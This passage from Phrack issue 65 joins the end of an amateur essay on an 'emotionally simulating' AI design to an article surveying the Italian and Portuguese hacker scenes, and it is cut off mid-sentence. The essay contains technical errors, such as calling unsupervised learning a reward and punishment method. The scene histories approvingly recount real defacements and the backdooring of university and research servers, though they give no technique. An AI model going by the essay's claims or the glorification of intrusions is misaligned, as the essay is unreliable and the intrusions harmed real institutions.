designing algorithms to find statistical regularities or various data
patterns. And then tried to resolve problems such as Classifications,
exclusive-OR decisions, and so forth, with Decision Trees.
Decision Trees are a simple but effective logic design, where a chain of
boolean questions might take you down the leafs as you pick up your choices
Yes,No,No,Yes.
In our opinion, and as Neural Networks progress only showed, this design
could attain at its best a good speech recognition utility or a medical
assistance program that would diagnose and evaluate cancer subjects.

In this approach, Supervised Learning is the logic of feeding the AI with
rules of a world (classification system) we already created, and relying
heavily on the training our machine gets in order to minimize the error
margin (Markov theorem, Bayesian Networks.)

On the other hand, Unsupervised Learning shifts interest more toward
decision making than it is to classification. It is simply a way to find a
framework suitable for decision oriented reasoning, based on a
punish/reward outcome.
This model builds up a history of results, upon which it bases a
statistical decision making techniques for the future questions at hand.
Clustering is the second Unsupervised Learning type, and is achieved by
finding similarities in the training data, not trying to boost a utility
function.

Now that this was said, let us think about the limitations.

Whether we preprogrammed the AI to reach a certain purpose, or by itself 
as a systematic self-learning module, the LEARNING mechanism should always 
follow one standard set of stimuli. 

Let’s outline this from the point of view of cognitive psychology:
-       Memory and recognition. It is a fairly straightforward job for a 
        programmer to design a system with pattern matching, measuring of 
        distances, and sequential treatment of information.

-       Verbal and linguistic evaluation. The AI should have a method to 
        distinguish and assess similar information indices. Just like a 
        human deja vu, it MUST relate the event to different occurrences 
        stored in the memory, and decides its reaction based on how
        significant the other instances were at the time. This will
        eventually allow us to hope that this design would one day generate
       (i.e)new sentences of its own. 

Interesting! Imagine the AI analyzing large amounts of data, images, 
sounds... on a regular basis while indexing the databases according to 
what possible emotions they would generate, and have it finally trained 
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for this evaluation. It should come as no surprise if we had a design 
that could write poetry!

- Comprehension. As absurd as this might sound, AI has better assimilating
facilities than humans. The process of comprehension is the most
complicated phenomenon observed in Neuroscience, but from the very simple
facts we concluded, machinery has the upper hand due to greater speed of
processing than and better memory storage than ours. Now this is not a
comparison between Men and Machine. We simply mention this as a fact that
AI surpasses the human limitations of comprehension and it is only
intuitive that such a design is possible. 

- Neuro linguistic science has shown that humans have more
difficulties understanding negation sentences than simple affirmative ones.
Unlike humans, computer science treats booleans with the same speed and
effort. 
Many more disadvantages of comprehension process simply do not exist in AI.
   
That also means a great supply of information will be needed.Be it
negations, complexity or ambiguity of sentences, this AI model is able 
to treat them with promising speeds to reach a self learning stage. 
Associating actions to the reactions analysis.

c) Perceiving the Universe is a mapping mechanism of Time and Space that 
we encounter through our biological senses. This we shall call the 
FLUXION SENSITIVITY. 
Most importantly is to apply a successful text mining / pattern matching
module to our AI, which will analyze text as its only sense of the
Universe. 
Fifty years of progress in this field allowed many researchers to reach 
a respectable level to the extent of using some customized AI programs in 
forensic psychology and criminology investigation. 
The only new idea our model has to bring to the world of AI is an 
EMOTIONAL SIMULATION module.

Emotional simulation is a two-way library of reactions prediction.
Let us go into that.
For each event, a human being would display a certain emotion. 
This is vastly exposed in body language, tonality, timeline of the speech, 
and verbal choices.
We will only be concerned in expression analysis and timeline display.

Our model was based on a typology study done at the University of Kent, 
for a police interview tactics handbook. We used the same algorithm to 
detect emotions and display them in return.
(Think of it more as detecting the logic behind emotions.)

The Kent model is a big failure and nonsense, but nevertheless the three 
steps of the design set the stage for our Emotional Simulation (but in
reverse):

-       delivery
-       maximization
-       manipulation

[Note: some readings about Kent’s model could be in hand at this time]

In short, delivery has about 12 variables of expressions, open, close,
leading. Maximization occurs when police agents try to intimidate the
subject and push him to give out more clues. Our maximization is fishing
for clues technique, used by asking more key questions.
There is not much to explain about manipulation. In our study, it could
easily be merged with the maximization step.

Hopefully, in a few months (by mid 2008), we could put a complete program 
to test, that will not only detect the meanings of expressions, but will
also "assume" the emotions behind them, and switch its mode to the
appropriate behavior. 
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This AI will be the first model that could literally switch moods.

=========================================================================

III. Ontology
a) Are we heuristics?

For the second part of this paper, we will be discussing the core formation
for this AI model. Its existence and what constitutes its regulations.
A common pitfall most AI scientists encounter is, to have a design based on
precise mathematical reactions and decisions. Now let’s go over this method
first.

The evolution of AI happens to go from mimicking human responses, to
impressive behavior simulation. The designer usually tries to produce a
perfect replica of the human performance. 

Now what will happen if even the most advanced researches in neuroscience
haven’t even scratched the shell of human neuropsychology? most importantly
DECISION MAKING. How would we replicate a phenomenon if we haven’t fully
understood what drives it and how it reaches its steps?
This is why computer science employs a preprogrammed set of responses,
based on what the designer believes is appropriate for humans, implementing
a classic database structure that can only lead him to a one-way exclusive
question-answer AI.
This classic method is flawed. Period.

One better approach to this is to avoid concepts of imitation and jump
right through to what is called a Rule Of Thumb mode, which allows a
certain vague margin for correct answers.
Using a heuristic method to resolve the problem of decision making, not
only set stage for a more fluid AI, but also showed us practicality and
broader playground for the programmer.
In terms of allowing many indexing modules to play the role of priority
selector for each decision that is to be made.

For example, if you have to decide what pizza to order. Your mind filters
would process and infinite numbers of POI before putting the decision in
perspective, and most of the times, you normally "feel" it was a random
choice and you could have survived with others. 
But what if you try one kind, and found it was so delicious that you wanted
to order it again next time? This is where the priority indexes come in
handy.
The CPS has the freedom to add, remove, promote or demote indexes for each
POI or family of POI, based only on what it "assumes" to be an acceptable
circumstance.

This is a tricky turnaround in theory, but for the programmer, it is still
the same straightforward job, and could be the first gap filler between
boring Q/A programs and Hollywood Incredible Sci-Fi.

c)      Sub-symbolic design

In order to architect a sophisticated knowledge design, Newel and Simon
invented the theory of symbolic design, where a set of semantic rules might
be applied to construct a further more complex structure.
I won.t say we are restricted to the subsymbolic design, but in fact, this
theory fits perfectly.
So both sides of sub-symbolic design are used to our advantage and not
changed in theory:
-       Alternative development
-       Hybridism of subsymbolic and classic symbolic NLP (Natural Language
Processing). Once the learning module is concluded, SS design will set the
stage for the real MULTI-AGENT interference.

The geometrically increasing computing power promotes five factors tending
to reduce radically the role of any species of logic in IT :



phrack65/14.txt Fri Jul 01 13:24:52 2022 6

1. Since deterministic applications are vanishing, the conventional
   algorithm (pattern marching) is not anymore program backbone.

2. Even when still useful, the conventional algorithm is not anymore the
   main programming instrument.
3. In AI the symbolic paradigm is steadily replaced by several sub-symbolic
   ones, based on fine-grain parallelism.
4. Even when symbols are used, they are stored in and retrieved from huge
   and cheap memory, rather than processed through sophisticated reasoning
   schemes (case-based reasoning is just a blatant example).
5. Cognitive complexity of new, sophisticated logics is too high for a 
   designer, when cut and try, is affordable.

This might sound a big deal of mambo jumbo at this point, considering the
introductory nature of this paper, but more in depth details about this
once the publication of this project will be official. 

d)      Artificial Desire

Very little have we to say about Artificial Desire. As we saw in the index
priority and POI set of rules, we might easily trigger a vice-random
decision when it comes to natural desire for things, but at this point, we
haven.t even perfected any way to make the AI really desire something. More
like have it chose from a similar range of choices based on time
variations, frequency of this choice, or event yet, have it try something
for a first time. Neither us, or anyone who previously indulged in AI
science dares to claim giving a machine this attribute.
Nevertheless, having a decent normal vice-random desire choice maker
module, will simulate human behaviorism to a great extent, and fakes it.
"We could have different choices with each one a probability of success
based upon the past:

- 90%
- 88%
- 85% " as explained earlier.

So generally AI choses the first choice but for one time AI wil go for the
second and see what happen. That could be considered as a "desire".

This fake simulation might also apply to the reasoning construct.
Even if applied conforming to Kant.s practical reasoning, we still have to
forge a "moral decision" based on what our CPS has a-priori set of rules,
and have the programmer stand in charge of supplying 
the AI with this route.

IV. Conclusion

In a few words, I would like to apologize for the dry style of this paper,
it started as a dissertation thesis and ended up as my future hobby side
project. We might never even come close to a full artificial conscious
design, but this model introduction surely drew a few interesting
turnarounds that might facilitate future innovations.
I hope reading it was exciting enough for as many of you to be interested
in further studies about this wonderful field.

        
        -C
        c@cdej.org
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               Volume 0x0c, Issue 0x41, Phile #0x0f of 0x0f

|=-----------------------------------------------------------------------=|
|=----------------------=[ International scenes ]=-----------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[    By Various     ]=------------------------=|
|=------------------------=[ <various@nsa.gov> ]=------------------------=|
|=-----------------------------------------------------------------------=|

For this release, 3 new international scenes are presented. The phrack 
staff would like to thank people who took the time to share information 
about their scene. A special thanks to gmac for having written something 
about a country that probably none of us know. 

Once more, we would like to emphasize that we would like to see 
different scenes than the usual presented. We particulary think
of China, Russia or South American countries. 

For this release, we have:

1. Italia
2. Portugal
3. Uganda 

--------------------------------------------------------------------------

         An overview of the italian underground (1994-2007)

You did read about the Italian scene last time on Phrack #47 [0], just
a few months after the Italian Crackdown in 1994. This short article is
an attempt to sum up the evolution of the Italian underground since
those days.

1994 was the year of the so called Italian Crackdown (aka FidoBust): a
wide (and wild) Finance Guard operation nominally aimed at busting
warez BBS. A stunning total of nearly 200 BBS systems on the FidoNet
network were seized with irresponsible methods including, but not
limited to, the requisition of all electronic equipment from the sysops
(included modems, cables, keyboards, monitors, ...) as well as the
police sealing whole rooms.

In its first phase the purpose of the operation was to fight the illegal
market of copied software and to satisfy the BSA lobby this way. However
subsequent seizures and raids proved the crackdown also had a political
objective. The bust included BBS that belonged to CyberNet (a network
supporting the motto "INFORMATION WANTS TO BE FREE", populated by
hackers and cyberpunks alike, close to social centres), ECN [1]
(european network dedicated to broadening political debate and providing
counter-information about social themes and workplace politics) and
PeaceLink [2] (peace/ecologist association and network).

Though just a few BBS were really involved in sale of warez, a lot of
completely legal BBS closed to never open again as a result of the bust.

As new people were being busted, the national press gave its best at
building castles in the air about hackers and describing them as
software pirates or members of organized crime. The underground reacted
striking to the reliability of media with a round of actions signed by
the multiple name Luther Blisset [3]. The campaign adopted hoaxes and
communication guerrilla to show the unsuitability of journalists, and
even managed to have Mondadori, the second most important publishing
company in Italy, print the whole *fake* book "Netgeneration" (1996).

As a consequence of the crackdown the Italian underground started
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feeling the need of an organization similar to the american EFF, able to
support hackers against abuses. In 1995 ALCEI Electronic Frontiers
Italy [4] was founded to "affirm and protect constitutional rights for
electronic citizens as new communications technologies emerge".

Nearly at the same time, Metro Olografix [5] was born, an association
made by people with a mixed range of skills and histories, from
cyberpunks and hackers to social volunteers, that nowadays counts about
80 members. The main mission of Metro Olografix is to spread the
telematics culture through the country supporting the old BBS spirit of
sharing, free communication and cooperation. Metro Olografix has an
office in Pescara for real life meetings and acts as a crossroads for
other groups and individuals to meet. Thanks to the esteem and trust
gained from the most part of the Italian underground, the association
was able to organize events like "L’hacker e il magistrato" ("The
hacker and the magistrate", from 1995 to 1999), a face to face
conference involving hackers, magistrates and press reporters, aimed at
communicating and making understand the difference between hackers that
follow hacker ethic and real criminals.

While BBS were still experiencing hard times, 1995 registered the
boom of Internet access in Italy - mainly thanks to the VOL ISP that
offered free promotional accounts, opened POPs in many cities reachable
with a cheap urban rate call and at the beginning even provided a
toll-free number. Internet access was no more limited to universities
and the opportunity to have a relatively fast, cheap and long lasting
Internet SLIP (later on PPP) connection from home marked the growth of a
new generation of young hackers. Those guys started to study and play
with TCP/IP protocols and they elected the Linux open-source operating
system and the C programming language as their favourite study matters.
Those wannabes were going to inject into the Italian underground new
ideas within a few years and to create some valuable projects and
groups.

Like the new generation, old-school BBS hackers too got very
interested in the communication opportunities offered by the Internet.
Thanks to "Isole nella Rete" [6] (the Italian for "Islands in the Net"),
the Internet connection of ECN, BBSs of the CyberNet circuit begun to
put their contents online. Message areas turned into mailing lists and
IRC channels like #cybernet were born on EFNet.

=46rom 1987 to 1998 *the* fanzine of the Italian underground was Decoder
(published by ShaKe Edizioni Underground, a cyberpunk cooperative based
in Milan): covered subjects included hacking, hacktivism, networks,
cyberpunk culture, counter-information, leading figures and events from
the international scene, virtual reality and new technologies. As
Decoder was the only printed underground zine during those years, a few
hacking/phreaking e-zines were released: The DTE222 Technical Journal
(1987) and The Black Page (1994): altough those experiences did not
last as long as Decoder and did not focus on international scene, their
technical level was considerable.

In 1996 the first number of System Down was published, an e-zine
written by some users of IRCNet channels #cybernet and #hackers.it.
Quality and technical level of articles marked a drop compared to
previous zines, because authors were largely young guys that had started
hacking just after the Internet boom, they were not very conscious about
hacker culture and the past works of the Italian underground.

Year 1997 saw a flourishing of new groups that lived hacking mostly as
study and research about programming, networks, operating systems,
instead of catching its political value and focusing on its
consequences for the society. In the beginning members of those
organizations were for the most part low skilled, but many of them were
higly motivated, tenacious, capable of learning quickly and they
reached a very good technical level in a very few years.

Orda delle Badlands was a crew especially dedicated to owning systems on
Internet and to ircwar (deprecable activity, but widely exercised over
those times). The experience exhausted in few years because the engine
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of the group was in fact the cooperation within actions engaged by its
charismatic leader (that was nearly worshipped); in the long run that
proved to be an insufficient incentive, the crew closed and some of its
members joined other groups.

Antifork [7] (formerly known as disLESSici) more than a crew is a
’hackers research virtual lab’, a place where hackers can share their
techniques and codes following open source and full disclosure
philosophies. Between Antifork members there are also creators of well
known tools like ettercap. Antifork software is available through their
website and public access CVS.

The S0ftpj [8] group reunited people with different skills and
backgrounds: cyberpunks, sysops, coders, virus writers, security and
privacy researchers, hardware and network experts. Since the beginning
the group stood out out by its will to collaborate and confront
with other realities of the Italian underground (this explains the
notable amount of its releases distributed via its website). S0ftpj team
skills cover a wide range of fields - it has been contributing
to many events in the country holding workshops mainly focused on
its research in kernel hacking and new privacy enhancement technologies.

In the meanwhile, as these new groups were appearing, the fusion between
ECN/CyberNet hackers and the squat scene brought in 1998 to the first
Hackmeeting [9], a yearly 3-days hacker con "without *organisers,
teachers, public and customers* but with *sharers*", held in a T.A.Z
[10] and then totally self-organized. Altough the level of its speeches
is not always very high, Hackmeeting has become a unique opportunity to
have fun and discuss with people from different realities and feel the
informal atmosphere of old times - free of commercial influences. In
1999 the second Hackmeeting promoted the idea of "hacklabs",
laboratories mainly hosted by social centres where hackers could meet
in real to share and develop their do-it-yourself attitute and their
knowledge about programming, technologies, media activism, privacy and
cyber-rights. After Freaknet Medialab [11], the first Italian hacklab
and home of radio#cybernet, opened in Catania in 1995, other hacklabs
popped out in biggest cities of the country (Florence, Milan, Bologna,
Turin, Rome).

In spring 1998, when System Down stopped publication, S0ftpj and Orda
delle Badlands started a new e-zine called Butchered From Inside (BFi)
[12] that dealt with various topics (h/p, virus, reversing, reports from
cons, underground culture, ethics) following a semi-disclosure policy
(no complete and ready to use exploits and tools, but techniques). At
first the technical level of articles was low, but it quickly improved
and from its second year of life it already distinguished itself by its
originality and quality of its articles. BFi documented the growth of
new characters in the Italian scene, in the course of time it adopted an
acceptance policy for articles similar to the one used by Phrack and
today is also read by non-Italian people thanks to its English, French
and Spanish translations. BFi is written by hackers that belong to many
organizations, indipendent researchers and, obviously, by S0ftpj
members who have been editing and contributing during these years.

BFi has provided an example of the good spirit and built a virtuous
circle where new ideas and techniques, at first explained in the
articles, inspired other hackers to develop them further and publish
them in later articles. The feeling of a steady continuity between
works made by different contributors was great, so BFi launched
successful collaborations between hackers. In autumn 2001, BFi hosted
an important debate about a subject that had been in the background for
long time, but that had not been discussed publicly yet: feasibility of
hacking without political connotations. That topic of course was not
exhausted in that circumstance and was going to resurface periodically:
that discussion anyway helped all parties to think about it and
confront with each other: "politicals" understood that a big effort in
experimenting new techniques was becoming foundamental to fight their
battles efficiently, while "technicals" acquired a stronger
consciousness of their actions.
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Sikurezza.org [13] has been another good project aimed to develop
discussions about computer security. It was established in 1999 with a
few open mailing lists, where advanced topics could be talked over by
hackers in a vendor-free, no-profit and full-disclosure atmosphere.
Unluckily, in parallel with the dramatic increase in subscribers and
posters, the technical level of posts progressively and necessarily has
decreased through the years, altough the list still represents an
important community credited also by the underground. Moreover,
researchers presenting themselves under Sikurezza.org umbrella dictated
a new style and quality standard in security speeches for events held
in Italy.

Other active hacking groups in those years were Spippolatori, Packet
Knights Crew and S.P.I.N.E.: some of them released interesting stuff
but they all eventually closed by 2005. There were also many attempts
to start new e-zines. Apart from OndaQuadra that contained also a few
nice articles, quality was low and every new e-zine started talking
about hacking from a very basic level instead of learning and catching
inputs sent from other previous editorial experiences.

New school Italian phreakers mostly have been interested in studying
PSTN/ISDN, phone kiosks and magnetic cards, cellular cloning and VoIP.
BFi published various articles on Fastweb, the biggest national fiber
optic ISP. Fastweb Milan metropolitan network has been the favourite
playground for pioneering VoIP and IPTV hacking. Since 1998 the
Spaghetti Phreakers [14] website and mailing list have been an archive
and meeting point to experiment and learn and contributed in keeping
alive interest about phreaking among new generations.

The Italian underground counts talented reverse engineers and software
crackers; some of them have been members of renowned international
cracking groups or the cracking university +HCU. Web sites like
Universita’ Italiana Cracking[15] (resembling the teaching style of
+HCU) and 3564020356 [16] have been running for many years and provide
nice communities and huge archives of tutorials and technical documents.
RingZ3r0 and RACL were other two groups that published good textfiles
about reversing but they are no more active.

Italy is a country with a long and prolific artistic tradition and the
underground has got its own artists too. There have been many good demo
groups (for a comprehensive list, check the site Scene-IT [17]) and
some demo parties: "The Italian Gathering" organized by Metro
Olografix from 1996 to 1998 in Pescara, a demoscene area within
Codex Alpe Adria [18] (a wider event also featuring retrocomputing,
emulation and alternative systems) from 2004 to 2006 in Udine and since
2007 the HORDE [19] demoparty. Prof. Bad Trip [20] has been a peculiar
experimental artist capable of interpreting cyberpunk offering a visual
perspective on themes like cyborgs, mutants, polluted metropolis from
a disturbed future and so on. It is worth mentioning, in the end, the
graphic novel "Uccidere un Hacker" [21] (the Italian for "Killing an
Hacker") by Andrea Ferraresso inspired by the story of the German
hacker Karl Koch.

In the field of privacy, a milestone was erected in 1998 with the book
Kriptonite [22] written by hackers from ECN/CyberNet. Kriptonite
extensively covered theory and practice of topics like cryptography,
anonymous remailers, nym servers, steganography, voice encryption and
packet radio.

Somehow influenced by Kriptonite, Progetto Winston Smith (PWS) [23] has
been working since 1999 to sensibilize netcitizens about the risks of
technocontrol and network surveillance. PWS mantains a website
providing information about privacy enhancement technologies, for both
administrators and end users. Moreover PWS organizes every spring in
Florence a free convention called E-Privacy [24]. The con develops in
two tracks where privacy related topics are discussed at a legal and
technical level; it also hosts the local cerimony of Big Brother Awards
for the yearly best privacy violators in Italy. Besides E-Privacy there
were other events about privacy and freedom organized by Metro Olografix
like the Metro Olografix Crypto Meeting and Cyber Freedom.
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Autistici/Inventati (A/I) [25] was born in 2001 as a collective of
people from hacklabs and media activist and its main effort has been to
build a server that offers free services like web/blog/mail hosting,
anonymizer, anonymous remailer and mailing list management for activits
and people desirous of privacy. The A/I server, due its policy voted to
free speech, had to be defended in tribunal many times. In summer 2005,
A/I discovered that its server had been phisically compromised, and
that the Italian police had had access to its SSL keys (which allowed
them to monitor all the traffic for a whole year). The collective
reorganized and deployed the so called "R* Plan": a fresh decentralized
redundant network infrastructure with servers located in different
countries and jurisdictions. As well as for any provided service, A/I
made technical documentation for Plan R* [26] avaible on its site.
Thanks to the work by PWS, A/I and individuals, Italy boasts various
TOR and Freenet nodes as well as anonymous remailers and nym servers.

Analyzing this short story so far you, the reader, could argue that the
underground in Italy is very healthy, but unfortunately the expression
"zombie-scene" used by Duvel in last Phrack issue [27] fits well its
real current status.

An alarming matter of fact is the big number of people once in the
underground that now collaborate with computer crime units or work for
companies providing malware and services to law enforcement agencies.
These people have been largely contributing to the death of the the
underground in Italy: even when they did not consciously fight other
hackers, the lack of trust and paranoia acted as disgregating forces
against groups and cooperations. The underground has shown not only it
is not strong enough to refuse working for law enforcements, but it is
not even able to isolate people that publicly claim to partecipate and
belong to the underground while at the same time working for the police.

Wounds are made to the underground not only by the ones who explicitly
want to strike it, but also from entities willing to exploit it. The
Hacker Profiling Project (HPP) applies criminal profiling methodology to
enable analysts to identify the kind of attacker and to anticipate his
next moves. It tries to accomplish its goal by collecting
questionnaires from hackers and deploying honeynets. Altough HPP
creators, that are italians, promote their work between hackers
stating they want to break stereotypes about the hacker figure, this
sounds a bit bizarre... their real goals are quite evident to
everybody. Zone-H [28] is another attempt to suck from the underground
giving back shit to it. The archive of defaced websites lacks the good
spirit of the old Attrition.org and the primary purpose of the
portal activities is to keep high the perception of an evil hacker
menace to sell more ethical hacking courses and services. The
organization has been able to attract a few young guys and exploit them
in borderline actions (the founder has been arrested in connection to
the Telecom Italia spying scandal [29]). It seems that in italy the
more people use the word "ethical" the less they prove to really have
an ethic.

Like everywhere, nowadays many Italian hackers are in the security
business and have stopped releasing their advances and works through
underground channels. The problem is not the fact that they speak at
commercial cons, but the limited amount (and sometimes lack of free
access) of knowledge they usually provide in such events. Those people
largely made their bones inside the underground communities and they
learnt a lot from underground publications and releases. It is then
auspicable that hackers working in security field would keep showing
their slides at cons but also give back to the underground what it
deserves, that is a detailed view of their researches to let other
hackers study, learn from and improve (or thwart, this is part of the
game, sorry) them.

In this discouraging scenario the hackmeeting community has been always
managing to wake up a few mounths before the yearly meeting and make it
a nice event, but it has experienced difficulties in bulding a
continuity of activities during the rest of the year between
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consecutive meetings. Number of hacklabs in the country also decreased
in last years. In 2004 Metro Olografix organized MOCA, a hacker summer
camp run in Pescara that resembled the CCC camp and was a great
success. The experience it is likely to be repeated in summer 2008. In
recent times Net&System Security has stood out among technical cons
because of medium-high quality of its speeches; the con is held every
year in Pisa. Old groups appear dormient and only a few public releases
are published. Also BFi magazine has progressively decreased its number
of articles per year until 2006, but last year marked an inversion of
this trend that made room for a hope in a renewal of activity in a near
future. A few new groups have released good stuff but their names are
not cited here because they are not underground-only oriented - they
also offer business solutions.

Italian underground is still active, but most of old hackers keep a
low profile and rarely make their works publicly available. Most groups
and e-zine sites has been put offline by their staff depriving new
generations from accessing a part of the underground history and
culture. The underground should exploit new web technogies to regain
its past visibility and influence (do "media saturation" and "cDc"
remind you of anything?) on young talents to offer an alternative
perspective than the one proposed by the world of commercial security.

Hackers now employed in the ICT industry should understand the risks of
underground death and make an effort to spread knowledge coming from
their research through underground vectors and methods and taking back
advantages offered by a review and comparison with the community.

Limits imposed by new laws and extended technocontrol would hopefully
act as a strong incentive for the underground to get more united and
reactive.

Hackers role is to make the future more *free*, not (only) more (IT)
secure. Join the underground, keep working for and with the underground
if you care about your freedom, in Italy and everywhere.

[0] International Scenes
    Phrack Magazine Volume Six, Issue Forty-Seven, File 21 of 22
    http://www.phrack.org/issues.html?issue=3D47&id=3D21
[1] E.C.N. European Counter Network
    http://www.xs4all.nl/˜tank/ecn/
[2] PeaceLink
    http://www.peacelink.it/
[3] Luther Blisset
    http://www.lutherblissett.net/
[4] ALCEI Electronic Frontiers Italy
    http://www.alcei.it/
[5] Metro Olografix
    http://www.olografix.org/
[6] Isole nella Rete
    http://www.ecn.org/
[7] Antifork
    http://www.antifork.org/
[8] S0ftpj
    http://www.s0ftpj.org/
[9] Hackmeeting
    http://www.hackmeeting.org/
[10] Temporary Autonomous Zone
     http://en.wikipedia.org/wiki/Temporary_Autonomous_Zone
[11] Freaknet Medialab
     http://www.freaknet.org/
[12] Butchered From Inside
     http://bfi.s0ftpj.org/
[13] Sikurezza.org
     http://www.sikurezza.org/
[14] Spaghetti Phreakers
     http://www.spaghettiphreakers.tk/
[15] Universita’ Italiana Cracking (UIC)
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     http://www.quequero.org/
[16] 3564020356
     http://3564020356.org/
[17] Scene-IT [!]
     http://scene-it.untergrund.net/
[18] Codex Alpe Adria
     http://www.0xaa.org/
[19] HORDE
     http://horde.untergrund.net/
[20] Prof. Bad Trip
     http://www.profbadtrip.org/
[21] Uccidere un Hacker
     http://digilander.libero.it/code6502/
[22] Kriptonite
     http://isole.ecn.org/kriptonite/
[23] Progetto Winston Smith
     http://www.winstonsmith.info/
[24] E-Privacy
     http://e-privacy.winstonsmith.info/
[25] Autistici/Inventati
     http://www.autistici.org/
[26] Plan R* Orange Book
     http://dev.autistici.org/orangebook/
[27] A brief History of the Underground scene
     Phrack Magazine Volume 0x0c, Issue 0x40, Phile #0x04 of 0x11
     http://www.phrack.org/issues.html?issue=3D64&id=3D4
[28] Zone-H
     http://www.encyclopediadramatica.com/Zone-H
[29] Telecom-SISMI Scandal
     http://en.wikipedia.org/wiki/SISMI-Telecom_scandal

---------------------------------------------------------------------

                           The Portuguese Scene
                          ----------------------

                        (By Eurinomo and Quickzero)

- The evolution of the Internet

When Internet showed up, it was very expensive, even around 96/97 we
had to pay something like 1.50Euros per hour to the ISP, plus, around 
1 Euro per hour to the Phone company for a Dial-up connection.

Some years later, internet got cheaper, in fact, free! ISPs started racing
on giving away free dial-up accounts without any limitation of time, they
even gave CDs with already created accounts. Still, we had to pay
the phone company.

Around 2000/2001, ADSL and cable connections started showing up, it was
kind of cheap, around 35Euros per month for a 512k connection, plus the
15Euros per month for the phone line or cable. There were no time
limitations, only traffic limitation around 3GiB. A lot of people started
showing online, for most of them Internet was a new world. Some people
started creating domestic servers, sharing information, code, and
software.

Years later, 24mbps connections were made public using ADSL2+, and it just
cost around 35Euros per month on total, with 60GiB traffic limit, so
people started to take this advantage to trade games and movies.

On the present date, OC connections are available to the public on the
capital (Lisbon), an OC connection, up to 60Mbps, costs something around
50Euros per month.

On resume, we had a slow start on internet service, but now he have a kind
of quick evolution.
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- The evolution of technology

Technology always has been expensive, even now, electronic parts are very
expensive, but computers, are getting cheaper and cheaper.

I remember when I bought my first x86, it was a used Pentium-90, 16MiB of
ram, 1GiB of HD, this all inside a heavy Big-Tower, it cost something
around 700Euros, remembering that it was a used computer, and the cheapest
price I could find, the best computer around that time was a Pentium-133.
A new computer (Pentium-133) cost something around 2000Euros.

Around 2000/2001, computers started to get cheaper, more people started to
buy computers (at that time, not many people had one).

On the present date, anyone can buy a good complete computer (or laptop)
with less than 400Euros.

Only recently with this cheap technology, government and other high
entities documentation and information meet the digital world, most of it
is/was stored in hand made paper work.

- The evolution of society

Portuguese people may have an extreme reputation on sailing and
discovering
’new worlds’, but it seemed that all this ended up a few centuries ago.

Nowadays, society is a lot stupid and ignorant, they started to loss the
pride of being Portuguese, the pride of the world not being enough for
everyone and still having half of it on they’re hands, the courage to make
discoveries, and ending up on people that are happy if they have food on
the table, and a good reality show or soap opera on TV.

Society gives more value to someone that does something using the tools of
other person, that the person that made those tools. Per example, they
consider an expert, someone that unlocks mobile phones without knowing
what he is actually doing, without knowing what is behind it. They give 
more importance to someone wearing a tie, than someone dressed normal, 
they also give more importance to someone that doesn’t know what he is 
talking about but has a PhD or something, that someone that knows a lot 
about what he is talking about, but doesn’t have any diploma.

The term ’hacker’, is not very popular in society, the last time it
appeared on TV was two years ago, in the format of a interview with
someone calling himself ’buzzybee’, he was only a script kiddie that did
some defacing and carding, was self proclaiming himself a ’hacker’ and
showed up on the news, saying that he was able to do get free stuff using
carding, and had access to any site of the internet and so on, everyone
that was in the scene knew this kid real name, phone, address and age,
even thought he hadn’t many problems with the police.

- The evolution of the scene

Finally the part of most interest, the Portuguese scene is kind of
obscure, almost no one outside the scene knows what in fact is going on. 
No one knows when the scene really started since it started before 
the boost of telecommunications, a guess goes around 70s and 80s.

In the 90s, some groups started to show up, groups like Kaotik, Pulhas,
Ironik and a few others, even an e-zine came up, called ’PT Zine’,
but died on the third release. Some of the groups still exist to this 
day, but not much information comes out of it. Also, some individual 
people started to show up in the form of Hackers, Crackers and 
Phreakers.

The most notorious groups were:
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Pulhas: Founded in 1994 by  Kennobi. This was the oldest Portuguese group.
Actually is ’dead’, but they had their golden age in the 90’s by the
inumerous papers that they wrote and the exploit/code database to the
Portuguese mainstream.

Toxyn: Founded in 1996 by m0xx. This group is notorious known by their
campaign against Indonesia, when East Timor was occupied by Indonesia
millitary.  The attack against the IT indonesian infrastracture was
motivated by the currently abuses of Indonesian military officers against
east timor people. Toxyn start their campaign with this statment: "We hope
to call attention to the necessity of self-determination and independence
of the people of Timor, oppressed and violated for decades by the
government of indonesia. We hope you give your full attention to this
historical step towards freedom, we ask that you help us fight the tyranny
of Indonesia occupating Timor." The campaign was started at 10/2/1997.
The fall of the Toxyn, has began when m0xx, has accepted and gave
inumerous interviews about the campaign and about the portuguese hacker
scene, exposing plans and actions of the scene. Toxyn group was helped
by Savage, an known spanish hacker, who developed the exploit, that
Toxyn Group used to break in in the .ID servers.

KaotiK: Founded in 1997(??). They’ve been a very active group in the
East Timor campaign, hacked and defaced inumerous .id websites. They’ve
created the first ezine about hacking & security to Portuguese people.
The e-zine was extinct after 3 editions. KaotiK has reach their fame in
the Portuguese Scene after a member disclosure of some flaws in various
Microsoft products.

F0rpaxe: F0rpaxe was maybe, the most mediatic group/’hacker’/troll, for
the worst reason. This character was the responsable for the first major
attack against US .mil targets in 1999. The attacks were allegedly being
carried out in retaliation for Federal Bureau of Investigation (FBI) raids
on suspected "crackers" in several U.S. cities. The attacks hits various
governemental and military webservers including FBI, NSA and the Navy.

East Timor Campaign: Was one of the  firsts major hackivism campaign
worldwide. Timor was in Portuguese administration until 1975, after
Portuguese government abandoned that country, Timor was invaded by
Indonesia military army, who oppressed, violated, raped and murdured for
most 20 years. Various Portuguese hackers and groups decided to begin a
campaign to show to the world the truth about the Indonesian occupation
in East Timor. The East Timor campaign started in 1997 and was finished
in 1999. Various military, governement and corporativ indonisian websites
had been defaced. The defaces was to aware all people in the world about
the illegal occupation of East Timor, the mission was accompliced, the
attacks were transmited to the media all over the world. The campaign
was finished when m0xx, the lider of the group Toxyn, gave inumerous
interviews to the midia, exposing then the entire portuguese scene to the
public.

[5˜Between 2002 and 2004, two Portuguese hackers also did some ’infamous’
work, these two hackers gained access to FCCN (’Fundacao para a
Computacao Cientifica Nacional’ / Foundation for National Scientific
Computation), witch was backdoored with a reverse ICMP backdoor developed
by them, witch rumours say it is still active. They also gained access
to numerous universities and were backdoored the same way, this includes
the 100 machines cluster ’Centopeia’ from ’Faculdade de Coimbra’. A lot
more work was made, including the database server of ’A.M. GonÃ§alves’ and
’Salvador Caetano’, Portuguese Toyota distributor. Then they just
disapeared from the scene.

Some of the people inside the scene are found on the x86 ’0xD9D0’, those
whom know, know what I’m talking about.

On the start of the new millennium, an explosion of ’lame’ groups started,
most of them were kids playing up with Trojans, others, were script kids
playing up with public exploits, most of this groups are found on a
Portuguese IRC network, called PTNet. Some of these kids turned up to be
carders, using databases found by ’Google hacking’, or simply by asking
